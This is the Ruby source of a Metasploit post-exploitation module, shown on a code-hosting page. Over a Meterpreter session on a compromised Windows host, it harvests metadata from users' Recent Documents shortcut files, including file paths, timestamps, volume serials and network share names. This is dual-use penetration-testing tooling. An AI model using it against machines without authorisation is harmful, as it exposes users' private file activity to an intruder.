Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/dumplinks.rb
19535 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Priv
8
include Msf::Post::Windows::Accounts
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Windows Gather Dump Recent Files lnk Info',
15
'Description' => %q{
16
The dumplinks module is a modified port of Harlan Carvey's lslnk.pl Perl script.
17
This module will parse .lnk files from a user's Recent Documents folder
18
and Microsoft Office's Recent Documents folder, if present.
19
Windows creates these link files automatically for many common file types.
20
The .lnk files contain time stamps, file locations, including share
21
names, volume serial numbers, and more.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [ 'davehull <dph_msf[at]trustedsignal.com>'],
25
'Platform' => [ 'win' ],
26
'SessionTypes' => [ 'meterpreter' ],
27
'Notes' => {
28
'Stability' => [CRASH_SAFE],
29
'SideEffects' => [],
30
'Reliability' => []
31
},
32
'Compat' => {
33
'Meterpreter' => {
34
'Commands' => %w[
35
core_channel_eof
36
core_channel_open
37
core_channel_read
38
core_channel_write
39
stdapi_fs_ls
40
stdapi_sys_config_getenv
41
stdapi_sys_config_getuid
42
]
43
}
44
}
45
)
46
)
47
end
48
49
def run
50
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
51
print_status("Running module against #{hostname} (#{session.session_host})")
52
53
enum_users.each do |user|
54
if user['userpath']
55
print_status "Extracting lnk files for user #{user['username']} at #{user['userpath']}..."
56
extract_lnk_info(user['userpath'])
57
else
58
print_status "No Recent directory found for user #{user['username']}. Nothing to do."
59
end
60
if user['useroffcpath']
61
print_status "Extracting lnk files for user #{user['username']} at #{user['useroffcpath']}..."
62
extract_lnk_info(user['useroffcpath'])
63
else
64
print_status "No Recent Office files found for user #{user['username']}. Nothing to do."
65
end
66
end
67
end
68
69
def enum_users
70
users = []
71
userinfo = {}
72
session.sys.config.getuid
73
userpath = nil
74
env_vars = session.sys.config.getenvs('SystemDrive', 'USERNAME')
75
sysdrv = env_vars['SystemDrive']
76
version = get_version_info
77
if version.build_number >= Msf::WindowsVersion::Vista_SP0
78
userpath = sysdrv + '\\Users\\'
79
lnkpath = '\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\'
80
officelnkpath = '\\AppData\\Roaming\\Microsoft\\Office\\Recent\\'
81
else
82
userpath = sysdrv + '\\Documents and Settings\\'
83
lnkpath = '\\Recent\\'
84
officelnkpath = '\\Application Data\\Microsoft\\Office\\Recent\\'
85
end
86
if is_system?
87
print_status('Running as SYSTEM extracting user list...')
88
session.fs.dir.foreach(userpath) do |u|
89
next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini)$/
90
91
userinfo['username'] = u
92
userinfo['userpath'] = userpath + u + lnkpath
93
userinfo['useroffcpath'] = userpath + u + officelnkpath
94
userinfo['userpath'] = dir_entry_exists(userinfo['userpath'])
95
userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath'])
96
users << userinfo
97
userinfo = {}
98
end
99
else
100
uservar = env_vars['USERNAME']
101
userinfo['username'] = uservar
102
userinfo['userpath'] = userpath + uservar + lnkpath
103
userinfo['useroffcpath'] = userpath + uservar + officelnkpath
104
userinfo['userpath'] = dir_entry_exists(userinfo['userpath'])
105
userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath'])
106
users << userinfo
107
end
108
return users
109
end
110
111
# This is a hack because Meterpreter doesn't support exists?(file)
112
def dir_entry_exists(path)
113
session.fs.dir.entries(path)
114
rescue StandardError
115
return nil
116
else
117
return path
118
end
119
120
def extract_lnk_info(path)
121
session.fs.dir.foreach(path) do |file_name|
122
if file_name =~ /\.lnk$/ # We have a .lnk file
123
offset = 0 # TODO: Look at moving this to smaller scope
124
lnk_file = session.fs.file.new(path + file_name, 'rb')
125
record = lnk_file.sysread(0x04)
126
if record.unpack('V')[0] == 76 # We have a .lnk file signature
127
file_stat = session.fs.filestat.new(path + file_name)
128
print_status "Processing: #{path + file_name}."
129
@data_out = ''
130
131
record = lnk_file.sysread(0x48)
132
hdr = get_headers(record)
133
134
@data_out += get_lnk_file_mac(file_stat, path, file_name)
135
@data_out += "Contents of #{path + file_name}:\n"
136
@data_out += get_flags(hdr)
137
@data_out += get_attrs(hdr)
138
@data_out += get_lnk_mac(hdr)
139
@data_out += get_showwnd(hdr)
140
@data_out += get_lnk_mac(hdr)
141
142
# advance the file & offset
143
offset += 0x4c
144
145
if shell_item_id_list(hdr)
146
lnk_file.sysseek(offset, ::IO::SEEK_SET)
147
record = lnk_file.sysread(2)
148
offset += record.unpack('v')[0] + 2
149
end
150
# Get File Location Info
151
if (hdr['flags'] & 0x02) > 0
152
lnk_file.sysseek(offset, ::IO::SEEK_SET)
153
record = lnk_file.sysread(4)
154
tmp = record.unpack('V')[0]
155
if tmp > 0
156
lnk_file.sysseek(offset, ::IO::SEEK_SET)
157
record = lnk_file.sysread(0x1c)
158
loc = get_file_location(record)
159
if (loc['flags'] & 0x01) > 0
160
161
@data_out += "\tShortcut file is on a local volume.\n"
162
163
lnk_file.sysseek(offset + loc['vol_ofs'], ::IO::SEEK_SET)
164
record = lnk_file.sysread(0x10)
165
lvt = get_local_vol_tbl(record)
166
lvt['name'] = lnk_file.sysread(lvt['len'] - 0x10)
167
168
@data_out += "\t\tVolume Name = #{lvt['name']}\n" \
169
"\t\tVolume Type = #{get_vol_type(lvt['type'])}\n" +
170
"\t\tVolume SN = 0x%X" % lvt['vol_sn'] + "\n"
171
end
172
173
if (loc['flags'] & 0x02) > 0
174
175
@data_out += "\tFile is on a network share.\n"
176
177
lnk_file.sysseek(offset + loc['network_ofs'], ::IO::SEEK_SET)
178
record = lnk_file.sysread(0x14)
179
nvt = get_net_vol_tbl(record)
180
nvt['name'] = lnk_file.sysread(nvt['len'] - 0x14)
181
182
@data_out += "\tNetwork Share name = #{nvt['name']}\n"
183
end
184
185
if loc['base_ofs'] > 0
186
@data_out += get_target_path(loc['base_ofs'] + offset, lnk_file)
187
elsif loc['path_ofs'] > 0
188
@data_out += get_target_path(loc['path_ofs'] + offset, lnk_file)
189
end
190
end
191
end
192
end
193
lnk_file.close
194
store_loot('host.windows.lnkfileinfo', 'text/plain', session, @data_out, "#{sysinfo['Computer']}_#{file_name}.txt", 'User lnk file info')
195
end
196
end
197
end
198
199
# Not only is this code slow, it seems
200
# buggy. I'm studying the recently released
201
# MS Specs for a better way.
202
def get_target_path(path_ofs, lnk_file)
203
name = []
204
lnk_file.sysseek(path_ofs, ::IO::SEEK_SET)
205
record = lnk_file.sysread(2)
206
while (record.unpack('v')[0] != 0)
207
name.push(record)
208
record = lnk_file.sysread(2)
209
end
210
return "\tTarget path = #{name.join}\n"
211
end
212
213
def shell_item_id_list(hdr)
214
# Check for Shell Item ID List
215
if (hdr['flags'] & 0x01) > 0
216
return true
217
else
218
return nil
219
end
220
end
221
222
def get_lnk_file_mac(file_stat, path, file_name)
223
data_out = "#{path + file_name}:\n"
224
data_out += "\tAccess Time = #{file_stat.atime}\n"
225
data_out += "\tCreation Date = #{file_stat.ctime}\n"
226
data_out += "\tModification Time = #{file_stat.mtime}\n"
227
return data_out
228
end
229
230
def get_vol_type(type)
231
vol_type = {
232
0 => 'Unknown',
233
1 => 'No root directory',
234
2 => 'Removable',
235
3 => 'Fixed',
236
4 => 'Remote',
237
5 => 'CD-ROM',
238
6 => 'RAM Drive'
239
}
240
return vol_type[type]
241
end
242
243
def get_showwnd(hdr)
244
showwnd = {
245
0 => 'SW_HIDE',
246
1 => 'SW_NORMAL',
247
2 => 'SW_SHOWMINIMIZED',
248
3 => 'SW_SHOWMAXIMIZED',
249
4 => 'SW_SHOWNOACTIVE',
250
5 => 'SW_SHOW',
251
6 => 'SW_MINIMIZE',
252
7 => 'SW_SHOWMINNOACTIVE',
253
8 => 'SW_SHOWNA',
254
9 => 'SW_RESTORE',
255
10 => 'SHOWDEFAULT'
256
}
257
data_out = "\tShowWnd value(s):\n"
258
showwnd.each_key do |key|
259
if (hdr['showwnd'] & key) > 0
260
data_out += "\t\t#{showwnd[key]}.\n"
261
end
262
end
263
return data_out
264
end
265
266
def get_lnk_mac(hdr)
267
data_out = "\tTarget file's MAC Times stored in lnk file:\n"
268
data_out += "\t\tCreation Time = #{Time.at(hdr['ctime'])}. (UTC)\n"
269
data_out += "\t\tModification Time = #{Time.at(hdr['mtime'])}. (UTC)\n"
270
data_out += "\t\tAccess Time = #{Time.at(hdr['atime'])}. (UTC)\n"
271
return data_out
272
end
273
274
def get_attrs(hdr)
275
fileattr = {
276
0x01 => 'Target is read only',
277
0x02 => 'Target is hidden',
278
0x04 => 'Target is a system file',
279
0x08 => 'Target is a volume label',
280
0x10 => 'Target is a directory',
281
0x20 => 'Target was modified since last backup',
282
0x40 => 'Target is encrypted',
283
0x80 => 'Target is normal',
284
0x100 => 'Target is temporary',
285
0x200 => 'Target is a sparse file',
286
0x400 => 'Target has a reparse point',
287
0x800 => 'Target is compressed',
288
0x1000 => 'Target is offline'
289
}
290
data_out = "\tAttributes:\n"
291
fileattr.each_key do |key|
292
if (hdr['attr'] & key) > 0
293
data_out += "\t\t#{fileattr[key]}.\n"
294
end
295
end
296
return data_out
297
end
298
299
# Function for writing results of other functions to a file
300
def filewrt(file2wrt, data2wrt)
301
output = ::File.open(file2wrt, 'ab')
302
if data2wrt
303
data2wrt.each_line do |d|
304
output.puts(d)
305
end
306
end
307
output.close
308
end
309
310
def get_flags(hdr)
311
flags = {
312
0x01 => 'Shell Item ID List exists',
313
0x02 => 'Shortcut points to a file or directory',
314
0x04 => 'The shortcut has a descriptive string',
315
0x08 => 'The shortcut has a relative path string',
316
0x10 => 'The shortcut has working directory',
317
0x20 => 'The shortcut has command line arguments',
318
0x40 => 'The shortcut has a custom icon'
319
}
320
data_out = "\tFlags:\n"
321
flags.each_key do |key|
322
if (hdr['flags'] & key) > 0
323
data_out += "\t\t#{flags[key]}.\n"
324
end
325
end
326
return data_out
327
end
328
329
def get_headers(record)
330
hd = record.unpack('x16V12x8')
331
hdr = Hash.new
332
hdr['flags'] = hd[0]
333
hdr['attr'] = hd[1]
334
hdr['ctime'] = get_time(hd[2], hd[3])
335
hdr['mtime'] = get_time(hd[4], hd[5])
336
hdr['atime'] = get_time(hd[6], hd[7])
337
hdr['length'] = hd[8]
338
hdr['icon_num'] = hd[9]
339
hdr['showwnd'] = hd[10]
340
hdr['hotkey'] = hd[11]
341
return hdr
342
end
343
344
def get_net_vol_tbl(file_net_rec)
345
nv = Hash.new
346
(nv['len'], nv['ofs']) = file_net_rec.unpack('Vx4Vx8')
347
return nv
348
end
349
350
def get_local_vol_tbl(lvt_rec)
351
lv = Hash.new
352
(lv['len'], lv['type'], lv['vol_sn'], lv['ofs']) = lvt_rec.unpack('V4')
353
return lv
354
end
355
356
def get_file_location(file_loc_rec)
357
location = Hash.new
358
(location['len'], location['ptr'], location['flags'],
359
location['vol_ofs'], location['base_ofs'], location['network_ofs'],
360
location['path_ofs']) = file_loc_rec.unpack('V7')
361
return location
362
end
363
364
def get_time(lo_byte, hi_byte)
365
if lo_byte == 0 && hi_byte == 0
366
return 0
367
else
368
lo_byte -= 0xd53e8000
369
hi_byte -= 0x019db1de
370
time = (hi_byte * 429.4967296 + lo_byte / 1e7).to_i
371
if time < 0
372
return 0
373
end
374
end
375
376
return time
377
end
378
end
379
380